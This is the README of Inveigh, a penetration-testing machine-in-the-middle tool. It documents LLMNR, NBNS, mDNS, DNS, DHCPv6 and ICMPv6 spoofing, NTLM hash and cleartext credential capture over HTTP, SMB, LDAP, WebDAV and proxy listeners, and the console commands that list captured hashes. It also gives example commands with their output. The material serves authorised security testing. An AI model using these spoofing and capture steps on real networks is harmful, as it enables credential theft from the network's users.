Inveigh

Inveigh is a cross-platform .NET IPv4/IPv6 machine-in-the-middle tool for penetration testers. This repo contains the primary C# version as well as the legacy PowerShell version.

Overview

Inveigh conducts spoofing attacks and hash/credential captures through both packet sniffing and protocol specific listeners/sockets. The packet sniffing method, which was the basis for the original PowerShell version of this tool, has the following advantages:

- SMB NTLM challenge/response captures over the Window's SMB service
- Fewer visible port binds on the host system

The primary disadvantage is the required elevated access.

On current versions of Windows, the default running UDP services allow port reuse. Therefore, packet sniffing no longer provides an advantage for getting around in-use UDP ports. Inveigh's UDP listeners are all configured to take advantage of port reuse.

Version Descriptions

- **PowerShell Inveigh** - original version developed over many years. For now at least, this version (1.506) will go without additional updates. Documentation can be found here.

- **C# Inveigh (aka InveighZero)** - original C# POC code combined with a C# port of most of the PowerShell version's code. This version has now been rebuilt for C# and is taking over as the primary version.

Features

The C# version of Inveigh contains attacks for the following protocols:

- LLMNR [packet sniffer | listener]
- DNS [packet sniffer | listener]
- mDNS [packet sniffer | listener]
- NBNS [packet sniffer | listener]
- DHCPv6 [packet sniffer | listener]
- ICMPv6 [privileged raw socket]
- HTTP [listener]
- HTTPS [listener]
- SMB [packet sniffer | listener]
- LDAP [listener]
- WebDAV [listener]
- Proxy Auth [listener]

Inveigh works with both IPv4 and IPv6 in cases where support for both is provided by the underlying protocol.

Cross-Platform Support

Inveigh's SDK style project file is setup for .NET 3.5, 4.6.2, and 6.0 with 6.0 being the version that also works with Linux and macOS.

```
<TargetFrameworks>net35;net62;net6.0</TargetFrameworks>
```

Known Issues

- The packet sniffer is available only on Windows due to differences in the raw socket setups. When compiled for either Linux or macOS, the packet sniffer will just be disabled. Instead, Inveigh's SMB listener can be used if port 445 is open.
- macOS requires that routes are available for joining multicast groups. In my testing, I've had to add routes for DHCPv6 multicast in order to carry out that attack on this platform.
  `sudo route -nv add -net ff02::1:2 -interface en0`

Execution

```
dotnet Inveigh.dll
```

Linux/macOS Platform Targeted Builds

- With .NET 6.0 installed on target system
  `dotnet publish -r linux-x64 -f net8.0 -p:AssemblyName=inveigh`
  `dotnet publish -r osx-x64 -f net8.0 -p:AssemblyName=inveigh`

- Without .NET 6.0 installed on target system
  `dotnet publish --self-contained=true -p:PublishSingleFile=true -r linux-x64 -f net8.0 -p:AssemblyName=inveigh`
  `dotnet publish --self-contained=true -p:PublishSingleFile=true -r osx-x64 -f net8.0 -p:AssemblyName=inveigh`

Usage

Default parameter values are located at the beginning of Program.cs. I recommend reviewing and setting everything to fit your needs before compile. All enable/disable parameters can be set with `Y/N` values.

```
    //begin parameters - set defaults as needed before compile
    public static string argCert = "MIIKaQIBAzCCC..."
    public static string argCertPassword = "password";
    public static string argChallenge = "";
    public static string argConsole = "5";
    public static string argConsoleLimit = "-1";
    public static string argConsoleStatus = "0";
    public static string argConsoleUnique = "Y";
    public static string argDHCPv6 = "N";
    public static string argDHCPv6TTL = "30";
    public static string argDNS = "Y";
    ...
    //end parameters
```

Parameter Help

```
.\Inveigh.exe -?

Control:

  -Inspect        Default=Disabled: (Y/N) inspect traffic only.

  -IPv4           Default=Enabled: (Y/N) IPv4 spoofing/capture.

  -IPv6           Default=Enabled: (Y/N) IPv6 spoofing/capture.

  -RunCount       Default=Unlimited: Number of NetNTLM captures to p

  -RunTime        Default=Unlimited: Run time duration in minutes.


Output:

  -Console        Default=5: Set the level for console output. (0=no

  -ConsoleLimit   Default=Unlimited: Limit to queued console entries

  -ConsoleStatus  Default=Disabled: Interval in minutes for auto-dis

  -ConsoleUnique  Default=Enabled: (Y/N) displaying only unique (use

  -FileDirectory  Default=Working Directory: Valid path to an output

  -FileOutput     Default=Enabled: (Y/N) real time file output.

  -FilePrefix     Default=Inveigh: Prefix for all output files.

  -FileUnique     Default=Enabled: (Y/N) outputting only unique (use

  -LogOutput      Default=Disabled: (Y/N) outputting log entries.


Spoofers:

  -DHCPV6         Default=Disabled: (Y/N) DHCPv6 spoofing.

  -DHCPv6TTL      Default=300: Lease lifetime in seconds.

  -DNS            Default=Enabled: (Y/N) DNS spoofing.

  -DNSHost        Fully qualified hostname to use SOA/SRV responses.

  -DNSSRV         Default=LDAP: Comma separated list of SRV request

  -DNSSuffix      DNS search suffix to include in DHCPv6/ICMPv6 resp

  -DNSTTL         Default=30: DNS TTL in seconds.

  -DNSTYPES       Default=A: (A, AAAA, SOA, SRV) Comma separated lis

  -ICMPv6         Default=Enabled: (Y/N) sending ICMPv6 router adver
```

```
  -ICMPv6Interval Default=200: ICMPv6 RA interval in seconds.

  -ICMPv6TTL      Default=300: ICMPv6 TTL in seconds.

  -IgnoreDomains  Default=None: Comma separated list of domains to i


  -IgnoreIPs      Default=Local: Comma separated list of source IP a

  -IgnoreMACs     Default=Local: Comma separated list of MAC address

  -IgnoreQueries  Default=None: Comma separated list of name queries

  -Local          Default=Disabled: (Y/N) performing spoofing attack

  -LLMNR          Default=Enabled: (Y/N) LLMNR spoofing.

  -LLMNRTTL       Default=30: LLMNR TTL in seconds.

  -MAC            Local MAC address for DHCPv6.

  -MDNS           Default=Enabled: (Y/N) mDNS spoofing.

  -MDNSQuestions  Default=QU,QM: Comma separated list of question ty

  -MDNSTTL        Default=120: mDNS TTL in seconds.

  -MDNSTypes      Default=A: Comma separated list of mDNS record typ

  -MDNSUnicast    Default=Enabled: (Y/N) sending a unicast only resp

  -NBNS           Default=Disabled: (Y/N) NBNS spoofing.

  -NBNSTTL        Default=165: NBNS TTL in seconds.

  -NBNSTypes      Default=00,20: Comma separated list of NBNS types

  -ReplyToDomains Default=All: Comma separated list of domains to re

  -ReplyToIPs     Default=All: Comma separated list of source IP add

  -ReplyToMACs    Default=All: Comma separated list of MAC addresses

  -ReplyToQueries Default=All: Comma separated list of name queries

  -SpooferIP      Default=Autoassign: IP address included in spoofin

  -SpooferIPv6    Default=Autoassign: IPv6 address included in spoof

  -Repeat         Default=Enabled: (Y/N) repeated spoofing attacks a


Capture:

  -Cert           Base64 certificate for TLS.

  -CertPassword   Base64 certificate password for TLS.

  -Challenge      Default=Random per request: 16 character hex NetNT

  -HTTP           Default=Enabled: (Y/N) HTTP listener.

  -HTTPAuth       Default=NTLM: (Anonymous/Basic/NTLM) HTTP/HTTPS li

  -HTTPPorts      Default=80: Comma seperated list of TCP ports for

  -HTTPRealm      Default=ADFS: Basic authentication realm.

  -HTTPResponse   Content to serve as the default HTTP/HTTPS/Proxy r

  -HTTPS          Default=Enabled: (Y/N) HTTPS listener.

  -HTTPSPorts     Default=443: Comma separated list of TCP ports for
```

```
  -IgnoreAgents   Default=Firefox: Comma separated list of HTTP user

  -LDAP           Default=Enabled: (Y/N) LDAP listener.

  -LDAPPorts      Default=389: Comma separated list of TCP ports for

  -ListenerIP     Default=Any: IP address for all listeners.

  -ListenerIPv6   Default=Any: IPv6 address for all listeners.

  -MachineAccount Default=Enabled: (Y/N) machine account NetNTLM cap

  -Proxy          Default=Disabled: (Y/N) proxy listener authenticat

  -ProxyAuth      Default=NTLM: (Basic/NTLM) Proxy authentication.

  -ProxyPort      Default=8492: Port for the proxy listener.

  -SMB            Default=Enabled: (Y/N) SMB sniffer/listener.

  -SMBPorts       Default=445: Port for the SMB listener.

  -SnifferIP      Default=Autoassign: IP address included in spoofin

  -SnifferIPv6    Default=Autoassign: IPv6 address included in spoof

  -WebDAV         Default=Enabled: (Y/N) serving WebDAV over HTTP/HT

  -WebDAVAuth     Default=NTLM: (Anonymous/Basic/NTLM) WebDAV authen

  -WPADAuth       Default=Enabled: (Y/N) authentication type for wpa

  -WPADResponse   Default=Autogenerated: Contents of wpad.dat respon
```

Default (autodetect local IPs)

```
.\Inveigh.exe
[*] Inveigh 2.0 [Started 2021-06-15T00:08:37 | PID 12588]
[+] Packet Sniffer Addresses [IP 10.10.2.111 | IPv6 fe80::3d3b:b73c:
[+] Listener Addresses [IP 0.0.0.0 | IPv6 ::]
[+] Spoofer Reply Addresses [IP 10.10.2.111 | IPv6 fe80::3d3b:b73c:c
[+] Spoofer Options [Repeat Enabled | Local Attacks Disabled]
[-] DHCPv6
[+] DNS Packet Sniffer [Type A]
[-] ICMPv6
[+] LLMNR Packet Sniffer [Type A]
[-] MDNS
[-] NBNS
[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80]
[-] HTTPS
[+] WebDAV [WebDAVAuth NTLM]
[-] Proxy
[+] LDAP Listener [Port 389]
[+] SMB Packet Sniffer [Port 445]
[+] File Output [C:\Users\dev\source\repos\Inveigh\Inveigh\bin\Debug
[+] Previous Session Files [Imported]
[*] Press ESC to enter/exit interactive console
```

Listener Only Mode (disabled packet sniffer)

```
.\Inveigh.exe -sniffer n
[*] Inveigh 2.0 [Started 2021-06-14T10:48:16 | PID 20368]
[-] Packet Sniffer
[+] Listener Addresses [IP 0.0.0.0 | IPv6 ::]
[+] Spoofer Reply Addresses [IP 10.10.2.111 | IPv6 fe80::3d3b:b73c:c
[+] Spoofer Options [Repeat Enabled | Local Attacks Disabled]
[-] DHCPv6
[+] DNS Listener [Type A]
[-] ICMPv6
[+] LLMNR Listener [Type A]
[-] MDNS
```

```
[-] NBNS
[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80]
[-] HTTPS
[+] WebDAV [WebDAVAuth NTLM]
[-] Proxy
[+] LDAP Listener [Port 389]
[+] SMB Listener [Port 445]
[+] File Output [C:\Users\dev\source\repos\InveighZero\Inveigh\bin\D
[+] Previous Session Files [Imported]
[*] Press ESC to enter/exit interactive console
[!] Failed to start SMB listener on port 445, check IP and port usag
[!] Failed to start SMB listener on port 445, check IP and port usag
```

Note, with the packet sniffer disabled, Inveigh will attempt to start SMB listeners for IPv4 and IPv6. On most windows systems, port 445 will already be in use. Either ignore error or add `-smb n`.

DHCPv6

Start DHCPv6 spoofer and IPv6 DNS spoofer. Note, DNS is on by default.

```
.\Inveigh.exe -dhcpv6 y
...
[+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53]
[+] DNS Listener [Type A]
...
[+] [23:03:06] DHCPv6 [solicitation] from fe80::bd92:a800:60d0:8deb%
[+] [23:03:06] DHCPv6 [fe80::1348:1] advertised to [00:0C:29:F0:6E:1
[+] [23:03:06] DHCPv6 [request] from fe80::bd92:a800:60d0:8deb%2(tes
[+] [23:03:06] DHCPv6 [fe80::1348:1] leased to [00:0C:29:F0:6E:16]
```

Start DHCPv6 spoofer and spoof DNS requests for internal domain only.

```
.\Inveigh.exe -dhcpv6 y -replytodomains lab.inveigh.org
...
[+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53]
[+] DNS Listener [Type A]
...
[-] [23:10:30] DNS(A) request [test.inveigh.org] from fe80::6142:1%2
[+] [23:10:33] DNS(A) request [wpad.lab.inveigh.org] from fe80::6142
```

Start DHCPv6 spoofer and also send out ICMPv6 RA packets.

```
.\Inveigh.exe -dhcpv6 y -icmpv6 y
...
[+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53]
[+] DNS Listener [Type A]
[+] ICMPv6 Router Advertisement [Interval 200 Seconds]
...
[+] [23:12:04] ICMPv6 router advertisment sent to [ff02::1]
```

Start DHCPv6 spoofer and answer requests from the local host.

```
.\Inveigh.exe -dhcpv6 y -local y
...
[+] Spoofer Options [Repeat Enabled | Local Attacks Enabled]
[+] DHCPv6 Listener [MAC 52:54:00:FF:B5:53]
```

DNS

Spoof SRV requests in addition to A.

```
.\Inveigh.exe -dnstypes A,SRV -dnshost fake.lab.inveigh.org
...
[+] DNS Listener [Types A:SRV]
```

```
...
[+] [23:21:05] DNS(SRV) request [_ldap._tcp.dc._msdcs.lab.inveigh.or
```

ICMPv6

Send ICMPv6 packets to inject a secondary IPv6 DNS server on local subnet systems.

```
.\Inveigh.exe -icmpv6 y
...
[+] ICMPv6 Router Advertisement [Option DNS | Interval 200 Seconds]
...
[+] [23:35:46] ICMPv6 router advertisement with DNSv6 sent to [ff02:
```

Send ICMPv6 packets to inject an additional DNS search suffix on local subnet systems.

```
.\Inveigh.exe -icmpv6 y -dnssuffix inveigh.net
...
[+] ICMPv6 Router Advertisement [Option DNS Suffix | Interval 200 Se
...
[+] [23:41:17] ICMPv6 router advertisement with DNS Suffix sent to [
```

LLMNR

Spoof AAAA requests instead of A.

```
.\Inveigh.exe -llmnrtypes AAAA
...
[+] LLMNR Listener [Type AAAA]
...
[-] [23:23:38] LLMNR(A) request [test] from fe80::bd92:a800:60d0:8del
[-] [23:23:38] LLMNR(A) request [test] from 10.10.2.201 [type ignore
[+] [23:23:38] LLMNR(AAAA) request [test] from 10.10.2.201 [response
[+] [23:23:38] LLMNR(AAAA) request [test] from fe80::bd92:a800:60d0:
```

mDNS

Start mDNS spoofer and send unicast responses to QM requests.

```
.\Inveigh.exe -mdns y
...
[+] MDNS Listener [Questions QU:QM | Type A]
...
[+] [23:25:58] mDNS(QM)(A) request [test.local] from fe80::bd92:a800
[+] [23:25:58] mDNS(QM)(A) request [test.local] from 10.10.2.201 [re
[-] [23:25:58] mDNS(QM)(AAAA) request [test.local] from 10.10.2.201
[-] [23:25:58] mDNS(QM)(AAAA) request [test.local] from fe80::bd92:a
```

Start mDNS spoofer and send multicast responses to QM requests.

```
.\Inveigh.exe -mdns y -mdnsunicast n
...
[+] MDNS Listener [Questions QU:QM | Type A]
...
[+] [23:28:26] mDNS(QM)(A) request [test.local] from 10.10.2.201 [re
[+] [23:28:26] mDNS(QM)(A) request [test.local] from fe80::bd92:a800
```

NBNS

Start NBNS spoofer

```
.\Inveigh.exe -nbns y
...
[+] NBNS Listener [Types 00:20]
```

```
...
[+] [23:33:09] NBNS(00) request [TEST] from 10.10.2.201 [response se
```

HTTP

Start HTTP listener on port 80 (enabled by default)

```
.\Inveigh.exe
...
[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 80]
...
```

Start HTTP listeners on multiple ports

```
.\Inveigh.exe -httpports 80,8080
...
[+] HTTP Listener [HTTPAuth NTLM | WPADAuth NTLM | Ports 80:8080]
...
```

HTTPS

Start HTTPS listener on port 443 with Inveigh's default cert

```
.\Inveigh.exe -https y
...
[+] HTTPS Listener [HTTPAuth NTLM | WPADAuth NTLM | Port 443]
...
```

SMB

Start SMB packet sniffer (enabled by default)

```
.\Inveigh.exe
...
[+] SMB Packet Sniffer [Port 445]
...
```

Start SMB listener on port 445

```
.\Inveigh.exe -sniffer n
...
[+] SMB Listener [Port 445]
...
```

LDAP

Start LDAP listener on port 389

```
.\Inveigh.exe
...
[+] LDAP Listener [Port 389]
...
```

WebDAV

Start the HTTP listener with WebDAV support (enabled by default)

```
.\Inveigh.exe
...
[+] WebDAV [WebDAVAuth NTLM]
...
```

Proxy Auth

Enable proxy auth capture on port 8492

```
.\Inveigh.exe -proxy y
...
[+] Proxy Listener [ProxyAuth NTLM | Port 8492]
...
```

Console

Inveigh contains a console that is accessible while the tool is running (hit escape to enter and exit). The console provides easy access to captured credentials/hashes and other various information. The console's prompt provides real-time updates for cleartext, NTLMv1, and NTLMv2 captue counts in the format of unique:total. Note, the console may be inaccessible when running through C2.

Interactive Console Help - enter ? or HELP

```
================================================ Inveigh Console Comm

Command                           Description
=================================================================
GET CONSOLE                      | get queued console output
GET DHCPv6Leases                 | get DHCPv6 assigned IPv6 addresses
GET LOG                          | get log entries; add search string
GET NTLMV1                       | get captured NTLMv1 hashes; add se
GET NTLMV2                       | get captured NTLMv2 hashes; add se
GET NTLMV1UNIQUE                 | get one captured NTLMv1 hash per u
GET NTLMV2UNIQUE                 | get one captured NTLMv2 hash per u
GET NTLMV1USERNAMES              | get usernames and source IPs/hostn
GET NTLMV2USERNAMES              | get usernames and source IPs/hostn
GET CLEARTEXT                    | get captured cleartext credentials
GET CLEARTEXTUNIQUE              | get unique captured cleartext cred
GET REPLYTODOMAINS               | get ReplyToDomains parameter start
GET REPLYTOIPS                   | get ReplyToIPs parameter startup v
GET REPLYTOMACS                  | get ReplyToMACs parameter startup
GET REPLYTOQUERIES               | get ReplyToQueries parameter start
GET IGNOREDOMAINS                | get IgnoreDomains parameter startu
GET IGNOREIPS                    | get IgnoreIPs parameter startup va
GET IGNOREMACS                   | get IgnoreMACs parameter startup v
GET IGNOREQUERIES                | get IgnoreQueries parameter startu
SET CONSOLE                      | set Console parameter value
HISTORY                          | get command history
RESUME                           | resume real time console output
STOP                             | stop Inveigh
```

Interactive Console Prompt

The console prompt contains real time capture counts.

```
C(0:0) NTLMv1(0:0) NTLMv2(0:0)>
```

Cleartext(unique:total) NTLMv1(unique:total) NTLMv2(unique:total)

Quiddity

The protocol library used by Inveigh is located here.

Special Thanks